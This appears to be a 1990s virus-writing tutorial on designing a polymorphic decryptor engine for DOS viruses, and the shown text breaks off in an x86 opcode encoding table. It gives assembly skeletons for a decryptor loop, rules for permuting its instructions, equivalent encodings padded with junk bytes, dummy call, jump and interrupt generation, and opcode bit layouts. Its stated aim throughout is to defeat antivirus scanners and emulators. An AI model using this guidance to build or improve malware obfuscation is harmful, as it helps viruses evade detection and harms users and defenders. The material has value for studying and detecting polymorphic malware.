Analysis on the decryptor generation 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴�> Lord Julus 幡賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽� � D I S C L A I M E R � � � � The following document is a study. It's only purpose is to be used in � � the virus research only. The author of this article is not responsible � � for any misuse of the things written in this document. Most of the � � things published here are already public and they represent what the � � author gathered across the years. � � The author is not responsible for the use of any of these information � � in any kind of virus. � � Lord Julus. � 白複複複複複複複複複複複複複複複複複複複複複複複複複複複複複複複複複複複複� 旼컴컴컴컴컴커 � Foreword � 읕컴컴컴컴컴켸 Before saying anything I would like to apologize from the beginning for my English mistakes, as I had to write this article really fast so I had no time to spell/grammar check. Second of all, I am still under the influence of the polymorphic engine I started to work on for some time now (Lord's Multiple Opcode Fantasies). My routine was under development, when I realised I really needed a document to read from, some place where I could keep all the info I collect. That's when I started on this article here. So, most of it is concentrated on the main idea I used in M.O.F. But, in order to make it more simple to understand and more easy to explain I made a few 'shorcuts', sort of speak. E.g., you'll get the main idea and you'll be able to make your own poly engine after reading this, but you'll have to use you're imagination. This may not be the final form of this document. I might get new ideas or realize I made some mistakes. If I do I'll write it again... (that's why I gave it a version number, 1.5). So, for any comments, ideas, suggestions or mistakes you noticed I can be reached via e-mail at this address: lordjulus@geocities.com Do not wait and write ! Be well, Lord Julus. 旼컴컴컴컴컴컴컴커 � Introduction � 읕컴컴컴컴컴컴컴켸 Before the heuristic analysers and the code emulators appeared on the market the usual encryption methods worked pretty good. And I do not speak only about viruses. I also reffer to the methods used for protecting software and data. Code emulators are able to crack your protections in a matter of minutes. That's when the ideea of polymorphism arose. A coder from Bulgaria passing by the nickname of Dark Avenger who wrote a lot of destructive viruses (including an antivirus against two of his viruses who unleashed a third virus) came with this ideea when his MtE (Mutation Engine) appeared. What polymorphism is really all about is creating self decrypting code, able to create each and every time a different decryptor containing both decrypting code and also junk instruction designed to make debugging and emultating harder. As this article is not designed to explain why is this needed or make a pro statement for polymorphism I will get directly to facts. So, in my opinion a good poly engine should be able to: � Create different decryptors by: � generating different instructions which do the same thing � swaping groups of instruction between them � creating calls to dummy routines � Generate junk instruction between real code � Being portable (can be included in any program) � Everything should be based on random numbers � Being able to create different size decryptors � It must be fast � It must be as small as possible Something anyone can notice is that the biggest and complicated the decryptor is, the biggest and complicated and *slower* is the polymorphic engine. All you'll have to do is find a good balance, e.g. finding the best level of polymorphism a fast and small routine can create. In order to make this more easy to understand, I will use some notations that are showed below: a) General notations: reg - general register (AX, BX, CX, DX) preg - pointer register (SI, DI, BP) sreg - segment register (CS, DS, ES, SS) imm - immediate value (8 bit or 16 bit) mem - memory location (note that BX can also be used as pointer register but I will avoid this case in this article) b) Specific notations: lreg - Register to hold code length creg - Register to hold the code kreg - Register to hold the key sreg - Segment override for the source dreg - Segment override for destination preg - The pointer register jreg - Junk register jprg - Junk pointer register key - Encryption key keyi - Key increment rndm - random number length - Code length / 2 (because usualy the length is given in bytes and I like to code on words) In order to make the polymorphic engine (PME) create the decryptor faster I will assume the following, even though this is a little against the rules I gave for a good engine, but I will explained why: � AX will be the junk register � BP will be used as a delta handler � The engine will create equal size decryptors (this in order to preserve the ability of a virus to hide the length of the host using stealth procedures) And now the reason: many OpCodes for instructions are optimized for the register AX. This means that an instruction using the AX register will be shorter than one involving the BX register. Now, you probably think this is stupid... No ! That's because when generating instructions you have a set of instructions that do the same thing. Obviously the sum of bytes for each set will never be equal. If you want to create a PME to generate equal size decryptors, you'll have to pad with NOP's so all the sets will have same size. So, it's no use to have an optimized AX instruction if you have to pad it anyway because another instruction has more bytes. Instead, being the junk register, the junk code will be optimized on AX. This means you can have more junk instructions in the same space. I hope this clears it. (as you will see further I will not take use of this either to make the poly smaller...) 旼컴컴컴컴컴컴컴컴컴컴� � General Decryptor � 읕컴컴컴컴컴컴컴컴컴컴� I will begin now with the general type decryptor and I will explain the way it works. This code is usualy put at the end of code, but some are put at the begining (I will not explain this here. MOF uses decryptors in different places, but you have to take care of the Delta Handle). The Decryptor is called from the beginning, decrypts the code and gives it the control (i.e. jumps to it). Notice each instruction will have a number for further use. Decrypt proc near [1] mov lreg, length ; get code length [2] mov preg, startcode ; load pointer register [3] push cs ; make both source and [4] pop jreg ; destination segment [5] mov sreg, jreg ; registers point to [6] mov dreg, jreg ; the Code Segment [7] mov kreg, key ; get the key main_loop: [8] mov creg, sreg:[preg] ; take an encrypted word [9] call unscramble ; decrypt it (*) [10] mov dreg:[preg], creg ; write decrypted word [11] add kreg, keyi ; increment the key [12] dec lreg ; decrement length [13] inc preg ; increment pointer [14] inc preg ; by 2 [15] jnz main_loop ; and loop until length=0 [16] ret ; return control Decrypt endp (*) I will get back to the unscrambling procedure later. As you can see, this is a general decryptor which takes a word from source:pointer, decrypts it and then puts it back to destination:pointer (which in this case are the same). Also you may notice I used the incremented style encryption key. And the increment is not 1 as most decryptors do, but a random number ! (I'll discuss random stuff later too). 旼컴컴컴컴컴컴컴컴컴컴컴컴커 � Permuting Instructions � 읕컴컴컴컴컴컴컴컴컴컴컴컴켸 One of the very important things in a PME is the ability to swap instructions or groups of instructions between them. Only this feature is good enough to flame scan-string scaners. But we must be very careful about what can be swaped and what can't, and so to establish some rules. In our case this is how it goes: Permutable instructions: Permutable instructions are in the [1] - [7] range with the following: a) instruction [1] can be placed anywhere b) instruction [2] can be placed anywhere c) instruction [3] can be placed anywhere but always above instruction [4] d) instruction [4] can be placed anywhere but always under instruction [3] e) instruction [5] can be placed anywhere but always under instruction [4] f) instruction [6] can be placed anywhere but always under instruction [4] g) instruction [7] can be placed anywhere Also permutable are instructions [10] - [14], which can be placed in any order. How do we permute the instructions. As you will see later, you will have a routine for generating each of the above instructions. So, all you have to do is make a matrix of bytes with the length 16, mark the 8, 9, 15 and 16 positions with 8, 9, 15, 16 (as these can not be permuted). Then fill the first part of the matrix (1-7) with numbers from 1 to 7 in a random order (being careful about the rules) and then fill the 10-14 part with numbers between 10-14 in a random order. Now, all you have to do is call your routines in that order. Example: 3,1,2,4,7,6,5,8,9,14,12,10,13,11,15,16 (this code does exactly the same thing as the one above). 旼컴컴컴컴컴컴컴컴컴컴컴� � Coding Instructions � 읕컴컴컴컴컴컴컴컴컴컴컴� Here comes the best part of a PME: coding instructions in different ways. What does this mean ? Let's take an example: 컴컴컴컴컴컴컴컴컴컴컴컴쩡컴컴컴컴컴컴컫컴컴컴컴컴컴� Instruction � OpCodes � Total bytes 컴컴컴컴컴컴컴컴컴컴컴컴탠컴컴컴컴컴컴컵컴컴컴컴컴컴� mov bx, 1000h � B8 00 10 � 3 컴컴컴컴컴컴컴컴컴컴컴컴탠컴컴컴컴컴컴컵컴컴컴컴컴컴� xor bx, bx � 33 DB � or bx, 1000h � 81 CB 00 10 � 6 컴컴컴컴컴컴컴컴컴컴컴컴탠컴컴컴컴컴컴컵컴컴컴컴컴컴� push 1000h � 68 00 10 � pop bx � 5B � 4 컴컴컴컴컴컴컴컴컴컴컴컴탠컴컴컴컴컴컴컵컴컴컴컴컴컴� sub bx, bx � 2B DB � xor bx, 1000h � 81 F3 00 10 � 6 컴컴컴컴컴컴컴컴컴컴컴컴탠컴컴컴컴컴컴컵컴컴컴컴컴컴� mov bx, 1000h xor 2222h � BB 22 32 � xor bx, 2222h � 81 F3 22 22 � 6 컴컴컴컴컴컴컴컴컴컴컴컴좔컴컴컴컴컴컴컨컴컴컴컴컴컴� Each and everyone of the above combinations will do the same thing: put the value 1000h into the BX register. Of course, the number of opcodes involved in each case is different, as you can see. What we'll need to do then is: � pick up a combination � generate it � see the difference between the bytes number of the choosen combination and the one with the most bytes (6 in our case) � pad the instruction with junk to reach the max You will notice that as the instruction is more simple, it is more padded with junk and vice-versa. Ok, so let's get back to our example and let's pick some variants for each one of our instructions. [1]/[2] mov lreg, length / mov preg, startcode ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ (As I will explain later, many AV products tend to find out for themselves different values, like the length of the code or the start of code and so on. Therefore, I will use a method to hide this. I will discuss it more in the Armouring section) a) push imm (imm = real data xor rndm) pop reg xor reg, rndm junk byte junk byte junk byte 컴컴컴컴� 11 bytes b) mov ax, imm (imm = real data + rndm) mov reg, ax sub reg, rndm junk byte junk byte 컴컴컴컴컴� 11 bytes c) xor reg, reg xor reg, imm (imm = real data - rndm) add reg, rndm junk byte 컴컴컴컴컴컴 11 bytes d) mov reg, 0 add reg, imm (imm = real data xor rndm) xor reg, rndm 컴컴컴컴컴컴 11 bytes e) mov reg, imm (imm = real data xor rndm) xor reg, rndm junk byte junk byte junk byte junk byte 컴컴컴컴컴컴 11 bytes [3] push cs � 1 byte ~~~~~~~~~~~~~~~~~~~~~~~~~~~ (we'll leave this like it is, it's much too usual) [4] pop jreg ~~~~~~~~~~~~~~~~~~ a) mov jprg, sp mov ax, ss:[jprg] add sp, 2 컴컴컴컴컴컴컴컴컴� 8 bytes b) pop jprg xchg ax, jprg junk bytes \ ... > six times junk bytes / 컴컴컴컴컴컴컴컴컴컴 8 bytes c) pop jprg mov ax, jprg junk bytes \ ... > five bytes junk bytes / 컴컴컴컴컴컴컴컴컴컴 8 bytes [5]/[6] mov sreg, jreg / mov dreg, jreg ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ a) push ax pop sreg junk byte junk byte 컴컴컴컴컴컴� 4 bytes b) mov sreg, ax junk byte junk byte 컴컴컴컴컴컴� 4 bytes c) pop jreg xchg jreg, ax mov es, ax 컴컴컴컴컴컴� 4 bytes [7] mov kreg, key ~~~~~~~~~~~~~~~~~~~~~~~ a) mov reg, imm junk byte junk byte junk byte 컴컴컴컴컴컴컴컴컴컴컴 6 bytes b) push imm pop reg junk byte junk byte 컴컴컴컴컴컴컴컴컴컴컴� 6 bytes c) xor reg, reg or reg, imm 컴컴컴컴컴컴컴컴컴컴컴컴 6 bytes [8] mov creg, sreg:[preg] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ a) mov creg, sreg:[reg] junk byte junk byte junk byte 컴컴컴컴컴컴컴컴컴컴� 6 bytes b) push sreg:[reg] pop reg junk byte junk byte 컴컴컴컴컴컴컴컴컴컴컴 6 bytes c) xor reg, reg xor reg, sreg:[reg] 컴컴컴컴컴컴컴컴컴컴컴� 6 bytes [9] call unscrambble � 3 bytes ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ [10] mov dreg:[preg], creg ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ a) mov sreg:[reg], creg junk byte junk byte junk byte 컴컴컴컴컴컴컴컴컴컴� 6 bytes b) push reg pop sreg:[reg] junk byte junk byte 컴컴컴컴컴컴컴컴컴컴컴 6 bytes c) xchg reg, sreg:[reg] junk byte junk byte junk byte 컴컴컴컴컴컴컴컴컴컴컴� 6 bytes [11] add kreg, keyi ~~~~~~~~~~~~~~~~~~~~~~~~ a) add reg, imm junk byte junk byte junk byte junk byte junk byte 컴컴컴컴컴컴컴컴컴컴컴� 9 bytes b) mov ax, imm add reg, ax junk byte junk byte junk byte junk byte 컴컴컴컴컴컴컴컴컴컴컴� 9 bytes c) mov ax, reg add ax, imm xchg reg, ax junk byte junk byte junk byte 컴컴컴컴컴컴컴컴컴컴컴� 9 bytes d) xchg ax, reg xor reg, reg or reg, ax add reg, imm 컴컴컴컴컴컴컴컴컴컴컴 9 bytes [12] dec lreg ~~~~~~~~~~~~~~~~~ a) dec lreg junk byte \ ... > 8 times junk byte / 컴컴컴컴컴컴컴컴컴컴 9 bytes b) mov ax, rndm sub lreg, ax add lreg, rndm�1 컴컴컴컴컴컴컴컴 9 bytes c) sub lreg, 1 junk byte \ ... > six times junk byte / 컴컴컴컴컴컴컴컴컴컴컴 9 bytes d) xchg ax, lreg dec ax mov lreg, ax junk byte \ ... > five times junk byte / 컴컴컴컴컴컴컴컴컴컴컴� 9 bytes [13]/[14] inc preg ~~~~~~~~~~~~~~~~~~~ a) mov ax, 1 add preg, ax junk byte junk byte junk byte 컴컴컴컴컴컴컴컴 8 bytes b) xchg ax, preg inc ax xchg preg, ax junk byte \ ... > 5 times junk byte / 컴컴컴컴컴컴컴컴� 8 bytes c) sub preg, rndm add preg, rndm+1 컴컴컴컴컴컴컴컴� 8 bytes d) add preg, rndm sub preg, rndm�1 컴컴컴컴컴컴컴컴� 8 bytes [15] jnz main_loop ~~~~~~~~~~~~~~~~~~~~~ (very important to code this good so the scaners don't see it's a decrypt loop. We'll speak more in the Armouring section) a) push cx mov cx, lreg jcxz _label pop cx jmp main_loop _label: pop cx junk byte 컴컴컴컴컴컴 10 bytes b) mov ax, ffffh add ax, lreg jns main_loop junk byte junk byte junk byte 컴컴컴컴컴컴� 10 bytes c) xor ax, ax sub ax, lreg jns main_loop junk byte \ ... > six times junk byte / 컴컴컴컴컴컴컴 10 bytes d) xchg ax, lreg sub ax, 15h cmp ax, 0FFEBh xchg ax, lreg je main_loop 컴컴컴컴컴컴컴 10 bytes And now, some discussion on these matters. First of all, you notice I wrote those junk bytes *after* the real code. You may choose to leave it this way, which will allow you to use junk instruction involving the junk register too. But I'd suggest to insert the junk bytes bewteen the real code, in this way having a better stealth of the real code. But in this case, of course, you won't be able to use junk instruction involving the junk register, unless they do nothing (like ADD AX, 0), because the junk register is used in the real code. I'd suggest the use of one byte or two bytes instructions BUT not in the last set (15) bacause here we need our flags to stay put! Another thing about the last pieces of code. You see there many conditional jumps. Well, they will not work ! Why ? Because the jump to the main_loop is surely bigger then -128 bytes. In this case all you have to do is change the code kinda like this: Instead of Use Je Main_Loop Jne not_main_loop jmp main_loop not_main_loop: This gives us 3 more bytes, making the loop jump go up to 13 bytes. As you can see, I consider that the poly engine should drop directly values into the decryptor, so you don't have to mess up with things like: mov bx, [bp + 0542] Instead, the engine will compute how much BP+0542 is and will put the value there. This helps us in many directions. First of all, the AV's are hunting for stuff like [BP+...], because it's the mose used way of holding the Delta handle. But if we don't use it in our main decryptor, we can safely use it in our junk instructions !! This bring us again to messing up the AV. Check the Armouring chapter for more. And last: I let the PUSH CS and RET instructions like they are, but these can be coded in different ways too. Use your imagination ! In this area you can make whatever you want and desire. Any other combinations can be added. After this is done, we can surely compute the length of our main decryptor. So let's do it: Main decryptor length = 11+11+1+8+4+4+6+6+3+6+9+9+8+8+10 = 104 bytes So, our decryptor with some junk in it is 104 bytes. To this we should add the unscramble procedure with which we shall deal later. Now, only by permuting the instructions between them and adding the extra junk code into it, we have an almost good poly decryptor. But we don't wanna stop here ! Before jumping to generating instruction we should take a peek to... 旼컴컴컴컴컴컴컴컴컴컴컴컴컴컴커 � Creating junk instructions � 읕컴컴컴컴컴컴컴컴컴컴컴컴컴컴켸 The way to do this is: In our code we have 16 sets of intructions we have to put garbage after and we also should put garbage before the first instruction. Studying the code I came up with this situation: Bewteen � Nr. of junk instruction 컴컴컴컴컴컴컴컴탠컴컴컴컴컴컴컴컴컴컴컴컴컴� 0 � 1 � 15 to 20 1 � 2 � 10 to 15 2 � 3 � 0 3 � 4 � 10 to 15 4 � 5 � 10 to 15 5 � 6 � 5 to 10 6 � 7 � 10 to 15 7 � 8 � 15 to 20 8 � 9 � 5 to 10 9 � 10 � 5 to 10 10 � 11 � 10 to 15 11 � 12 � 10 to 15 12 � 13 � 10 to 15 13 � 14 � 10 to 15 14 � 15 � 10 to 15 15 � 16 � 10 to 15 16 � end � 15 to 20 (+ the rest) 컴컴컴컴컴컴컴컴좔컴컴컴컴컴컴컴컴컴컴컴컴컴� This is just my ideea, you can come up with something else. So let's see which is the maximum amount of junk instructions we can have. It's 15*10 + 10*3 + 20*3 = 150 + 30 + 60 = 240 junk instructions. If we consider the longest junk instruction as being 4 bytes long, then we'll have a maximum junk code of 4*240 = 960 bytes. This would make our decryptor 960 + 104 = 1064 bytes long. The more junks you want to put in the biggest the code will get. How do we pick them ? Very simple. First we get a random number between the limits. Then we make a loop to generate that amount of junk instructions. For each we take a random between 1-4 which gives us the length of the instruction. Then we take randomly one of that instruction type (looking carefully to do not repeat the same instruction one after another - which is kinda impossible). After we did this for all the code, because of the fact that we use random numbers, it is virtualy imposible to get the maximum of junks for each interval. Therefore at the end we will have 960 total junks from which we only created a X nr. of junks. All we have to do then is create an amount Y = 960-X and put them after the last instruction. This is what I meant when I said (+the rest). Now, one important thing. As you will see further, the 2, 3 and 4 bytes long instructions are much more soffisticated and make much mess. That's why I suggest you to make a probability of 10% for 1 byte instructions, 20% for two bytes instruction, 30% for 3 and 40% for 4 bytes instructions. I thought of this taking into account that within the code you already inserted a lot of 1 byte junks. You can also create 4 byte garbage, by overriding the three byte ones (you'll see how). Let's check a little the types of junk we can use. I said that we can have a maximum 3 byte length instruction. I said so, because it's kinda hard to generate 4 or 5 bytes instructions and still keep the code small. [a] 1 byte instructions ^^^^^^^^^^^^^^^^^^^ CLI � DEC AX � STI � DEC AH � CLD � INC AX � affect AX STD � affect INC AH � CLC � flags LAHF � STC � CMC � SAHF � About creating 2, 3 and 4 byte instructions it goes like this (but this is not a rule, you'll have to read further): � the 2 byte ones are the register to register instructions � the 3 byte ones are usualy imm8 to register � the 4 byte ones are usualy imm16 to register and mem operations Remember we have two junk registers: AX and one pointer register (DI or SI). In the cases presented above (which you'll see further why are they two bytes long), the 'reg' can be either AX or the jprg. And we also have AX divided into AH and AL. We can perform any opperation over AH and AL, the second register being any of the other 8 bit registers. This is a rule:junk registers are used for junk instruction, but we have exceptions from that. Here are cases when you can use them with any register: � if cl/imm = 0 you can ROR/ROL/SHR/SHL any register � if imm = 0 you can ADD/SUB/AND/OR/XOR any register � if reg1=reg2 you can XOR any register � you can perform TEST/CMP on any register � you can XCHG any register with itself 旼컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴커 � Creating calls to dummy routines � 읕컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴켸 The creation of dummy routines and jumps is a very interesting feature and is very good at messing up the AV's. What we should basically look at are these: CALL xxxx JMP xxxx J___ xxxx (conditional jumps) RET First, when we are about to create junk code we decide if: A) we'll use CALL's B) we'll use JMP's C) we'll use both From the beginning I'll tell you that using only calls is bad. Why ? Simple... Our code goes line by line, right ? Imagine this situation: Call _label Type 1 Dummy Call (*) ... ... _label: ... ... Ret When Ret is reached, the IP returns at the (*), but after a while the Ret is reached again and here goes chaos. Or let's look at this: (*) Type 2 Dummy Call _label: ... ... Ret ... ... Call _label This is also bad, because as the code is executed, it goes from (*) and reaches the Ret... Again chaos. We cannot skip the Ret's (even if we replace them with some POP's, because the code still we'll come over the CALL again. Only in the first case we can POP the CS:IP and get it over with, but it's dangerous. AV's may notice that a CALL was made and there wasn't any RET for it...) How can we solve this ? First method: Use only JMPS. The creation of a jump is really easy. All you do is put the opcode of an absolutely random kind of jump and then a zero word and remember the place of that word. You must see that the jmp is not in the last part of the junk code ! Then, create the rest of the junk, by recording the length in bytes of the junk after the JMP. This is done easily. As soon as one instruction is generated, add it's length to a register. After you're done with three, four, five or even more instructions, just go back to the place where you wrote the 0 and write the length recorded. This length is equal to the offset of the jump destination minus jump offset minus 2 (in the case of 8bit displacement). Let's take an example: 0100 EB06 Jae 0108 0102 A800 Test al, 00 0104 2D2310 Sub ax, 1023h 0107 FB Sti 0108 83E701 And di, 1 So we have 'A8 00 2D 23 10 FB' - 6 Bytes -> other junk 'EB 06' - 2 Bytes -> JMP code 06 = 108 - 100 - 2 It is very important to compute very corectly the jump destination. You cannot make it random ! Imagine you wrote JAE 105 instead of JAE 108. The code would go directly to '23 10' (e.g. add dx, [bx+si]), messing all up. What I described above is a jump 'downwards' the code. In order to make a jump 'upwards' the code, take this example: 0100 A800 Test al, 0 0102 81EB0001 Sub bx, 100 0106 B81000 Mov ax, 10 0109 EBF5 Jmp 100 In order to generate this call we have the following fomula: Jump length = jump address - destination address + 2. In our example: 109 - 100 + 2 = 11 Then we simply negate this number: 11 = 0Bh -11 = F5h (which is exactly what apperes in the opcode: EBF5) Use all kinds of jumps, especially conditional ones, because as this is junk code, it doesn't really matter if the jump is done or not. You really need to use the JMP instruction if you decide to take the other way: Using Calls and Jmps. I showed you how a Call cannot be created into a code that goes normaly because it will hang. Here comes the JMP to help us. So, your random routine decided that you will use CALL+JMP. Then your random routine must decide which kind of CALL it will make (as in the examples above). Let's analyse the two examples and see how the JMP solves the problem: Call _label Type 1 Dummy Call & Jmp (*) ... Jmp _label2 ... _label: ... Ret ... _label2: --------------------------- (*) Type 2 Dummy Call & Jmp ... Jmp _label2 _label: ... Ret ... _label2: ... Call _label So, what the JMP actually does is avoid the second passing across the Ret instruction. In the first case: � Write CALL 0000 � Write JMP 0000 � Compute _label and change the CALL accordingly � Write the Ret � Compute the _label2 and change the JMP accordingly In the second case: � Write Jmp 0000 � Write the Ret � Compute _label2 and change the JMP � Write Call _label (you know _label already) Of course, between these instructions you can let your imagination run free. I would suggest to put in the '...' place a random number of instructions which would vary from 1 to 5. Now, a really wonderful thing is to 'remember' such a CALL you created during the junk code generation and 'come back' to it. That is, you create a type 2 call and you keep the _label stored somewhere. Then, when you want to create another dummy call you just create the CALL instruction and put the _label as the address. This saves time in creating junk routines. Here is an ideea about how it would look: ... Jmp _label2 _label: ... Ret ... _label2: ... Call _label ... ... Call _label This is easily done and creates a better image of a structured program. Of course, in the '...' place you'll have both junk instructions as well as parts of the real decryptor. 旼컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� � Creating dummy interupt calls � 읕컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Here is a list of interrupts you can insert into your code and how they would afect registers (in brankets): � INT 21h, with the following AH contents: � 0Bh - get input status (AL) � 0Dh - flush buffers (none) � 19h - get current disk (AX) � 4Dh - get terminate status (AX) � INT 10h, with the following AH contents: � 08h - read char from cursor (AX) � 0Dh - read pixel from screen (AL) So, all you have to do is generate a Mov ah, xx and then an INT. Very simple and very effective (most scanners die under these). But beware, many people are tempted to use dummy calls like INT03 or INT01. Don't do this. This is flaged by most AV's. This goes into the Armouring section, which we'll discuss later. 旼컴컴컴컴컴컴컴컴컴컴컴컴컴커 � Getting random registers � 읕컴컴컴컴컴컴컴컴컴컴컴컴컴켸 We'll talk later about the random number routine. But first let's see how we store the order of our registers. We have the following notations: reg field - a code that keeps the register to be used sreg field - a code that keeps the segment register r/m field - how is the instruction made (based, indexed, etc.) mod field - who makes the indexing (i.e. DI, BP, etc.) dir field - the direction w field - word mark reg field: ~~~~~~~~~~ AX or AL - 000 = 0 CX or CL - 001 = 1 DX or DL - 010 = 2 BX or BL - 011 = 3 SP or AH - 100 = 4 BP or CH - 101 = 5 SI or DH - 110 = 6 DI or BH - 111 = 7 When coding an instruction where word or byte registers could be involved, they way too see which is the case is the 'w' bit. If it's 1 then we are talking word registers. If it's 0 we use byte registers. sreg field ~~~~~~~~~~ ES - 001 = 1 CS - 011 = 3 SS - 101 = 5 DS - 111 = 7 r/m field ~~~~~~~~~ 00 - based or indexed 01 - based or indexed with a 8-bit displacement 10 - based or indexed with a 16-bit displacement 11 - two register expresion mod field (if r/m is based or indexed) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 000 - [BX+SI] 001 - [BX+DI] 010 - [BP+SI] 011 - [BP+DI] 100 - [SI] 101 - [DI] 110 - IF R/M = 00 A DIRECT MEMORY OFFSET OTHERWISE [BP] 111 - [BX] segment overrides ~~~~~~~~~~~~~~~~~ ES - 00100110 - 26h CS - 00101110 - 2Eh SS - 00110110 - 36h DS - 00111110 - 3Eh Direction ~~~~~~~~~ If set, reg is the destination and mod is the source, otherwise it's the other way around. In order to choose a random order of the registers we must have this: reg_table: db 11011000 ;bx cx dx db 11100100 ;bx dx cx db 01111000 ;cx bx dx db 01101100 ;cx dx bx db 10011100 ;dx cx bx db 10110100 ;dx bx cx Just pick randomly one of the combinations and you'll have the registers to use: lreg, creg, kreg. So in a very simple way, we got our registers to use. And remember that AX is the junk register. In the same way, you can pick the pointer register leaving the other one as junk pointer register. Now let's see an example of how to generate a mov. If you disassemble a program that contains this line: MOV BX, [SI+0134h] You'll get this OpCode: 8B 9C 34 01, or: 10001011100111000011010000000001, which means: 100010 | 1 | 1 | 10 | 011 | 100 | 0011010000000001 | mov d w r/m reg mod data lets see: d (direction) = 1, so from 'mod' to 'reg' w = 1 (the word bit) r/m = 10 (based with 16-bit displacement) reg (register)= 011 (BX) mod = 100 ([SI]) data = 0134h (the 16 bit displ. added to SI) So, in order to create a 'blank' Mov reg, [si+imm] you should have: 100010 1 1 10 000 100 0000000000000000, or 10001011 10000100 0000000000000000 납� 읒좋좋좋좋좋좋좋컴-> here you put your data 납� 납읕컴�-\ 냅컴컴컴-> here you put your register 읕컴컴컴/ So what do you think this would be: 10001001100011011000000000000000 ? It would be MOV [DI+1000h], CX because: d = 1 r/m = 10 mod = 101 reg = 001 Now let's take all the instructions and look at each and everyone and see how are they encoded. One more thing: I stated at the beginning that I'll consider the AX the junk register because some instructions are optimized for it. As you'll se below, being given a skeleton for an instruction you can make it use any register. You can also make it use the AX, even if a compiler wouldn't generate something like that. Hope you get this... For the first instruction (MOV) I will indicate how you can calculate the length of the instruction in bytes. For the rest figure it out, it's easy ! a) The MOV instruction ~~~~~~~~~~~~~~~~~~~~~~ 1) mov reg, imm 1011, w, reg, imm - if w = 0 imm is 8 bit -> 2 byte instr. - if w = 1 imm is 16 bit -> 3 byte instr. 2) mov reg, reg mov reg, mem mov mem, reg 100010, d, w, r/m, reg, mod, data - if r/m = 00 -> 2 byte instr. - if r/m = 01 data is 8 bit -> 3 byte instr. - if r/m = 10 data is 16 bit -> 4 byte instr. 3) mov sreg, reg mov reg, sreg 100011, d, 0, 1, sreg, reg, 1 - 2 byte instruction b) The XCHG instruction ~~~~~~~~~~~~~~~~~~~~~~~ xchg reg, reg xchg reg, mem xchg mem, reg 100001, w, r/m, reg, mod, data c) The stack operations ~~~~~~~~~~~~~~~~~~~~~~~ PUSH reg - 01010, reg POP reg - 01011, reg PUSH sreg - 000, sreg, 10 POP sreg - 000, sreg, 11 PUSH imm - 01101000, data PUSH mem - 11111111, r/m, 110, mod, data POP mem - 1000111, r/m, 0000, mod, data PUSHA - 01100000 POPA - 01100001 PUSHF - 10011100 POPF - 10011101 d) The logical instructions ~~~~~~~~~~~~~~~~~~~~~~~~~~~ 1) XOR ~~~~~~ 1.1) XOR reg, reg 001100, d, w, 11, reg1, reg2 with the mention that d = 1 only if reg1 = reg2 1.2) XOR reg, imm 100000, w, r, 11110, reg, data with the mention that if r = 0 register is 8 bit otherwise register is 16 bit 1.3) XOR reg, mem XOR mem, reg 00110, d, w, r/m, reg, mod, data 2) OR ~~~~~ 1.1) OR reg, reg 0000100, d, w, 11, reg1, reg2 1.2) OR reg, imm 100000, w, r, 11001, reg 1.3) OR reg, mem OR mem, reg 000010, d, w, r/m, reg, mod, data 3) AND ~~~~~~ 1.1) AND reg, reg 001000, d, w, 11, reg1, reg2 1.2) AND reg, imm 100000, w, r, 11000, reg 1.3) AND reg, mem AND mem, reg 001000, d, w, r/m, reg, mod, data 4) NOT ~~~~~~ 1.1) NOT reg 1111011111010, reg 1.2) NOT mem 1111011, w, r/m, 010, mod 5) NEG ~~~~~~ 1.1) NEG reg 1111011111011, reg 1.2) NEG mem 1111011, w, r/m, 011, mod 6) TEST ~~~~~~~ 1.1) TEST reg, reg 1000010, w, 11, reg1, reg2 1.2) TEST reg, imm 1111011, w, 11010, reg, data 6) CMP ~~~~~~ 1.1) CMP reg, reg 0011101, d, w, 11, reg1, reg2 1.2) CMP reg, imm 100000, w, r, 11111, reg 1.3) CMP reg, mem CMP mem, reg 001110, d, w, r/m, reg, mod, data e) The Arithmetic instructions ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 1) ADD ~~~~~~ 1.1) ADD reg, reg 0000001, w, 11, reg, reg 1.2) ADD reg, imm 100000, w, r, 11000, reg 1.3) ADD reg, mem ADD mem, reg 000000, d, w, r/m, reg, mod 2) ADC ~~~~~~ 1.1) ADC reg, reg 0001001, w, 11, reg, reg 1.2) ADC reg, imm 100000, w, r, 11010, reg 1.3) ADC reg, mem ADC mem, reg 000100, d, w, r/m, reg, mod 3) SUB ~~~~~~ 1.1) SUB reg, reg 0010101, w, 11, reg, reg 1.2) SUB reg, imm 100000, w, r, 11101, reg 1.3) SUB reg, mem SUB mem, reg 001010, d, w, r/m, reg, mod 4) SBB ~~~~~~ 1.1) SBB reg, reg 0001101, w, 11, reg, reg 1.2) SBB reg, imm 100000, w, r, 11011, reg 1.3) SUB reg, mem SUB mem, reg 000110, d, w, r/m, reg, mod 3) INC ~~~~~~ 01000, reg16 1111111111000, reg8 4) DEC ~~~~~~ 01001, reg16 1111111011001, reg8 f) Shifting instructions ~~~~~~~~~~~~~~~~~~~~~~~~ 1) SHR ~~~~~~ 1.1) SHR reg, 1 1101000, w, 11101, reg 1.2) SHR reg, imm 1100000, w, 11101, reg 1.3) SHR reg, cl 1101001, w, 11101, reg 2) SHL ~~~~~~ 1.1) SHL reg, 1 1101000, w, 11100, reg 1.2) SHL reg, imm 1100000, w, 11100, reg 1.3) SHL reg, cl 1101001, w, 11100, reg 3) ROR ~~~~~~ 1.1) ROR reg, 1 1101000, w, 11001, reg 1.2) ROR reg, imm 1100000, w, 11001, reg 1.3) ROR reg, cl 1101001, w, 11001, reg 4) ROL ~~~~~~ 1.1) ROL reg, 1 1101000, w, 11000, reg 1.2) ROL reg, imm 1100000, w, 11000, reg 1.3) ROL reg, cl 1101001, w, 11000, reg 5) RCL ~~~~~~ 1.1) RCL reg, 1 1101000, w, 11010, reg 